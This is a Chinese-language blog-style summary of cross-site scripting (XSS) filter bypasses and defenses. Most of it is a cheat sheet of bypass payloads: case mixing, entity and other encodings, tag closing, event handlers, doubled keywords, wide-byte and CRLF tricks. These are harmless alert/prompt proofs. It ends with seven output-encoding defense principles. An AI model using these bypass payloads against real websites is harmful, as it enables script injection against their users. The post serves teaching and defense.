XSS绕过与防御总结

跨站脚本攻击(Cross Site Scripting),为不和层叠样式表(Cascading Style Sheets, CSS)的缩写混淆,故将跨站脚本攻击缩写为XSS。恶意攻击者往Web页面里插入恶意Script代码,当用户浏览该页之时,嵌入其中Web里面的Script代码会被执行,从而达到恶意攻击用户的特殊目的。

0x01 XSS的分类

  • 反射型(非持久型)
  • 存储型(持久型)
  • DOM型

具体的一些介绍与简单的实例就不做详述了,本文主要介绍的是XSS的绕过技巧与防御。

0x02 XSS的绕过

大小写绕过

<ScRIpT>alert('123')</sCRIpT>

编码绕过

1.十六进制编码

2.jsfuck编码

3.url编码

4.unicode编码

    <0x736372697074>alert('123')</0x736372697074>
    <img src="1" onerror="alert&#x28;1&#x29;"> 
    '被过滤,我们可以将'写为 &#x27
    将"/"转义为"&sol;"

绕过magic_quotes_gpc

<script>String.fromCharCode(97, 108, 101, 114, 116, 40, 34, 88, 83, 83, 34, 41, 59)</script> 

闭合标签

"><script>alert(/123/)</script>

</script><script>alert(1)</script> 

标签绕过

<img src="x" onerror="alert(1)">
<button onclick="javascript:alert('xss')>XSS</button">
<title><img a="</title><img/src=1 onerror=alert(1)//">
"onsubmit=javascript:alert(1)%20name="a

其他符号绕过

%0aalert(1);   %0a  换行符
/**/            替换空格
%00                截断

双字母绕过

<img ononerrorerror="123">
<script>alalertert(123)</script>

宽字节绕过

gbxxxx系列的编码,那么我们尝试一下宽字节  %c0 %bf  %5c

其他事件绕过

onload
onclick
onerror
prompt
confirm
onmousemove

CRLF injection绕过

CRLF是”回车 + 换行”(\r\n)的简称。
http://www.xxx.com%0d%0a%0d%0a+xss代码

<svg/onload=prompt(1)>

0x03 XSS的防御

  • 原则1:“Secure By Default”原则:不要往HTML页面中插入任何不可信数据

  • 原则2:在将不可信数据插入到HTML标签之间时,对这些数据进行HTML Entity编码

  • 原则3:在将不可信数据插入到HTML属性里时,对这些数据进行HTML属性编码

  • 原则4:在将不可信数据插入到SCRIPT里时,对这些数据进行SCRIPT编码

  • 原则5:在将不可信数据插入到Style属性里时,对这些数据进行CSS编码

  • 原则6:在将不可信数据插入到HTML URL里时,对这些数据进行URL编码

  • 原则7:使用富文本时,使用XSS规则引擎进行编码过滤

大爷,赏个铜板呗!